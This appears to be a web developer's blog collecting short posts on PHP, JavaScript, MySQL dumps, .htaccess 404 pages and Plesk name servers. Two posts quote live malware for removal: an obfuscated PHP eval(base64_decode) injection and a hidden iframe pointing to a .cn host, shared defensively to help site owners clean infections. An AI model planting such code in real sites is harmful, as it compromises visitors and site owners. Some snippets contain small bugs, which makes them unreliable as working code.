GC Blog

Feed Rss

If you are a Web Developer like me, then you are always working from different locations, different machines, etc. You do not want to go and look for that client information every time to gain access via FTP to do a small change. There is where a good content management system comes in place. What this is going to allow you to do is to give you the ability to edit any file from any location and from any machine as the editor will be sitting right on the server.

Here is a copy of my Content Management System, which you can just drop in any folder and edit or delete any file in it.

Download My Content Management System

Once you download it, just unzip it and try it in one of your folders. This is a basic management system all that you need to do to install it is to upload, there are a PHP file that is the one doing all the work, and the Tiny MCE folder, which contains all of the required files for the text editor skin, you can delete this if desired. You can also get an updated version by doing a Google search of Tiny MCE.

Please give me your comments and suggestions,

Gilberto Cortez

———————————-

Got termites? Fumigations are the only primary recommendation given by the state. Any other solutions are only secondary and temporary.

Have you needed to transfer a large database? One of an eCommerce Cart or of a big blog? phpMyAdmin only allow’s imports of databases of 2 mbs, if you fix the php.ini file you can get maybe 10 or 12 max on most servers. In order to move this you will need to do it through shell access. Here is instructions on how to do this:

  1. Contact your service provider and tell them to allow shell access in your account.
  2. Download a SHH client like puTTY
  3. Open the application, enter your domain and the port. (I have usually encounter them to be 22 or 2222)
  4. Enter your username and password. These are usually the same as your FTP credentials.
  5. To export or dump the MySQL database you will be using a tool calles MySQL Dump, to do this you will type:
    1. mysqldump -u [username] -p[password] [dbname] | gzip > [location/name].sql.gzip
    2. the items in [ ] need to replaced and the brackets removed. Also please note there is no space between -p and your password
    3. This will create what is called a dump file of your database which will be gzipped for easier development.
  6. Now you need to get the file that was created and upload it to your new site via an SFTP or FTP client.
  7. After this enable shell access on your new server or location and access it
  8. First we need to decompress the .gzip file, to do this type:
  9. gzip -d [location/file].sql.gzip
  10. After this is completed the gzip file will dissapear and you will only have the sql file needed.
  11. Now all you need to do is import the file into your database, to do this type:
    1. mysql -u[username] -p[password] [dbname] < [location/file].sql
  12. Your import and transfer of your MySQL database is now complete.

————

Do you need any work performed on your database or on your web application? You can contact me at (619) 800-2678 or using the Quote Request form.

Hey guys, there has been a virus going around in the GoDaddy server which attacked a large number of domains. The script is encoded in PHP so it is not easily recognizable. If you have this problem just go to your PHP files and find this strip of code and erase it. Because this code is added up top, remember not to leave an empty space in the top of your document or it will give you an error when you try to execute them. If you are using a Search and Replace tool like Dreamweaver, copy the code below in notepad and delete the line brakes. The whole code should only be in one line.

<?php /**/ eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYha
XNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgI
GlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzd
HMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1
NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCR
fU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4
gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5b2IyeGhjMm
x2Ym5kbFlpNWpiMjB2YjI4dWNHaHdJajQ4TDNOamNtbHdkRDQ9Iik7ICAgICAgfSAgI
CAgIHJldHVybiAiIjsgICAgIH0gICAgfSAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0
cygnZ3pkZWNvZGUnKSl7ICAgICBmdW5jdGlvbiBnemRlY29kZSgkUjVBOUNGMUI0O
Tc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDKXsgICAgICAkUjMwQjJBQjhEQzE0OTZEM
DZCMjMwQTcxRDg5NjJBRjVEPUBvcmQoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJB
Q0EyM0M4RjYxMUE1NjQ2ODRDLDMsMSkpOyAgICAgICRSQkU0QzREMDM3RTkzOT
IyNkY2NTgxMjg4NUE1M0RBRDk9MTA7ICAgICAgJFJBM0Q1MkU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gICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2Jo
Jyk7ICAgfSAgfQ==”)); ?>

Here is the script that needs to be added to the receipt or confirmation page, after the user has completed the sale. You will just need to add php inside of the script so that the content can be created dynamically per customer. One tip is to use a PHP loop. Here is the code:

<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-XXXXX-X']);
  _gaq.push(['_trackPageview']);
  _gaq.push(['_addTrans',
    '1234',           // order ID - required
    'Acme Clothing',  // affiliation or store name
    '11.99',          // total - required
    '1.29',           // tax
    '5',              // shipping
    'San Jose',       // city
    'California',     // state or province
    'USA'             // country
  ]);

   // add item might be called for every item in the shopping cart
   // where your ecommerce engine loops through each item in the cart and
   // prints out _addItem for each
  _gaq.push(['_addItem',
    '1234',           // order ID - required
    'DD44',           // SKU/code - required
    'T-Shirt',        // product name
    'Green Medium',   // category or variation
    '11.99',          // unit price - required
    '1'               // quantity - required
  ]);
  _gaq.push(['_trackTrans']); //submits transaction to the Analytics servers

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>

Everyone at some point has been browsing trough google or their favorite search engine and clicked on a link just to go into a white page with the words “404 Error” up on top. After this the only thing you have is to hit the “Back” button on your browser. As a user, this means that you go backand try another link. As a developer do, it means that you lost a potential clients, and that you have a glitch in  your application that you are not aware of.

You can set upt a custom 404 page using your apache .htaccess file. Here is how to do this:

  1. Access your server via FTP
  2. Make sure that you can see hidden files
  3. Locate for .htaccess
  4. If .htaccess does not exist go ahead and create it
  5. Open the file
  6. Type: ErrorDocument 404 /404.php
  7. Save the file
  8. Now you can go and edit this file so that you can have a custom error page.

That is all that you have to do in order to set up your server to have a custom 404 page. Use your imagination on this one, for examle you can have a search function or related pages to what the user was looking for. You can also have this page email you so that you become aware of the situation.

Hope this helps, any questions or concerns can be submitted below.

Hello guys, another one of the sites I manage has been infected and blocked by Google, here is the iFrame script that has the malicious virus in it just in case you guys have been attacked by the same person.

<iframe src=”http://namegamestore.cn:8080/index.php” width=183 height=129 style=”visibility: hidden”></iframe>

Thank You,
Gilberto Cortez

Hello guys,

I have been working on a project for school which used AJAX and I just wanted you guys to have this code for reference. This code basically makes a call to a PHP script which gets Zip Code information (city and state) and then adds them into your web page. I used a span tag with id of “zipinfo” to act as a holder for the content that was going to be retrieved. Hopefully this helps some of you in your projects.

//Get Zip Code Information
function zipInfo(zipcode) {
fieldValue = “connection=zipInfo&zip=”+zipcode;
var url=”includes/management.php”;
httpRequest(“POST”, url, true, fieldValue, function(result){
document.getElementById(“zipInfo”).innerHTML = result;
});
}

//AJAX Request
function httpRequest(reqType, url, asynch, fieldValue, callback) {
request = new XMLHttpRequest();
request.open(reqType,url,asynch);
request.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
request.setRequestHeader(“Content-length”, fieldValue.length);
request.setRequestHeader(“Connection”, “close”);
request.send(fieldValue);
request.onreadystatechange = function() {//Call a function when the state changes.
if(request.readyState == 4 && request.status == 200) {
callback(request.responseText);
}
}
}

Hello guys, I had to work on a website this weekend and I came up with an issue, I did not have any image JavaScript gallery that would just change the image and have a previous and next button. So I decided to create this. Here is a basic gallery, I have commented the script for easier understanding.

<script>
//Create variables
var i = 0;
var prev;
var next;
var images = new Array;
//Set Image File Name
images = [
"firstimage",
"secondimage,
"thirdimage"
];

//Go directly to image function
function imgPresent(src){
var change = document.getElementById(‘imgBig’);
//Change main picture source and alt fields
change.src =images[src]+”.jpg”;
change.alt = images[src];
}
// link function to switch image backward
function prev(){
if(i==0){
//Set maximum number in array
i = 2;
} else {
i = i-=1;
}
//CHange Main Image
var change = document.getElementById(‘imgBig’);
change.src = images[i]+”.jpg”;
change.alt = images[i];
}

// link function to switch image forward
function next(){
//Set Max Number
if(i==2){
i = 0;
} else {
i = i+=1;
}
//Change Main Image
var change = document.getElementById(‘imgBig’);
change.src = images[i]+”.jpg”;
change.alt = images[i];
}
</script>

On the direct images links, which can be your thumbnails all you need to do is onclick=”imgPresent(i)”, where var i = the number of the file you want inside the image array created in the script. And for your next button the action would be onclick=”next()”. For the previous button the action would be onclick=”prev()”.

Like always, please feel free to contact me or leave me any comments behind or questions,

Thank You,
Gilberto Cortez

I’ve been noticing lately how many student are creating multiple functions or if statements to do something that is possible in just a couple of lines, in this post I will try to explain how to use Arrays and Loops to validate a form, checking that it does not have any empty fields.

First you need to set up your form, here is the code for a simple log in form:

<form method="post" name="myform" action="login.php">
Username: <input type="text" id="username" name="username"/><br />
Password: <input type="password" id="pass" name="pass"/><br />
<input type="button" value="Log Me In" onClick="validate();"/>
</form>

You might have noticed that at the end of the form, instead of using ‘submit’ for the type I used ‘button’ instead. I do this to be 100% sure that the form will not be submitted unless it passes the JavaScript Validation. Please be aware that this method will bring a User Experience problem if he or she has JavaScript disabled, for this post please disregard the issue.

After you create your form, then we need to dive into the JavaScript code:

<script type="text/javascript" language="javascript">
function validate(){
//Create Fields Array
var fields = new Array;
var fields = [document.getElementById('username'),document.getElementById('pass')];
//Create Variable to Keep Track of Errors
var err = 0;

//Start Validation Loop
for (i=0;i<fields.length;i++){
//Check Fields in Array to Make Sure they are not Empty
if (fields[i].value == ""){
err++;
}
}//Close Loop
//Check That There are No Errors
if (err === 0){
//Submit Form
document.myform.submit();
}else {
//If there are errors, return false and alert the user
alert("Please Fill Out All Of The Fields");
return false;
}
}
</script>

So there it is guys, all you have to do now is to add more fields to the fields array and it will loop around all of them to check them for empty spaces.

Here is a little more explanation on the script. The first thing that I did is to store my variables, I used an array for the fields being that they have a similar job in common and it will be easire to check them all like this. (An array is created when you have multiple objects with similar properties. For example you could make an array of Car Makes, Car Types, Regular Customers. This is more efficient than creating a different variable for each single item, now you just have to work with one.

After this we start the validation, this is done by looping trough that array to check that the fields are not empty. Let me explain how to create the loop, which is using the for statement. The first line will define where your loop starts, and how many time it will be runned.

Code:
for (i=0;i<fields.length;i++)
Explanation:
for(variable that will be keeping track of how many loops have passed ; how many times will the loop run (the .length property only gives out the array size, so that we can run it that many times ; and finally this step will add one to the loop variable for the next run)

Every time the loop runs, the code between the brackets it’s what is run multiple time. In this case we did an if statement to check the field value. if it finds an empty field it will add one to the err variable. After the loop is completed,  then we do another if statement to check that there are no errors, if they are none then the form is submitted, is there is an error then it will alert the user and return false.

Hope this helped you out, please leave any comments or suggestions below.

Gilberto Cortez
www.GilbertoCortez.com // Interactive Solutions and Web Development

Have you ever wondered how the hosting companies are able to give you one name server of their own for all of your domains? By doing this they allow the client or the user to just be able to their domain registrar and submit that name server, instead of having the client register their own ones for every domain. An example of private name servers is how RackSpace does this, it tells you to point all of your domains to ns.rackspace.com and ns2.rackspace.com instead of doing ns.mydomain.com and ns2.mydomain.com… Get it???

Here is what you will need in order to complete this:

  1. Dedicated server with Plesk installed on it
  2. Domain to use as master name server
  3. Access to that domain registrar

Here are the steps that you will need to do in your server in order to set your Private Name Servers:

  1. Log into your Plesk server
  2. Create a new account for the domain you will be using for your global private name servers
  3. Once created, got to DNS Setting
  4. Click on “Add Record”
  5. Record Type = A, On Enter Domain type “ns2″ , on enter IP address type in your secondary IP address (It’s usually one more than your original server IP. If your server ip is 61.55.25.1 then your secondary IP will probably be 61.55.25.2)(Configuration varies with provider)
  6. Click OK
  7. Click on “Add Record”
  8. Record Type = NS, On Enter Domain Name type “ns2″ , on Enter Nameserver type NS2.MYDOMAIN.COM (Where Mydomain.com is replaced by your chosen domain)
  9. Click OK
  10. On your DNS Settings landing page there should already be records for NS.MYDOMAIN.COM, double check. If they do not exist follow the above steps, just replace NS2 with NS.
  11. Once you complete the steps, make sure you have at least 4 records, 2 for NS.MYDOMAIN.COM and 2 for NS2.MYDOMAIN.COM
  12. On your main menu, click on Settings
  13. Click on change Host Name, and where it states Full Hostname enter your chosen domain and click OK
  14. From your server’s home page select DNS Settings. Click on the default NS settings and click on it.
  15. Where it states Enter Nameserver, enter NS.MYDOMAIN.COM, click OK
  16. Click on Add DNS Record and on the Enter Nameserver, type NS2.MYDOMAIN.COM. Record type will be NS.
  17. Server configuration is complete.

After setting your server up, all you need to do is go to your Domain Registrar, and using the Domain Manager register those two name servers and point them to your domain.

Now every time you set up a new domain it will have NS.MYDOMAIN.COM and NS2.MYDOMAIN.COM as name servers. Now you can give this to your client or go to your domain registrar and just change name servers without having to register them again.

——

Get your San Diego Website Design at a reasonable price. Services include: Web Development, Website Design, iPhone Development, Mobile Development, Cloud Application Development among others.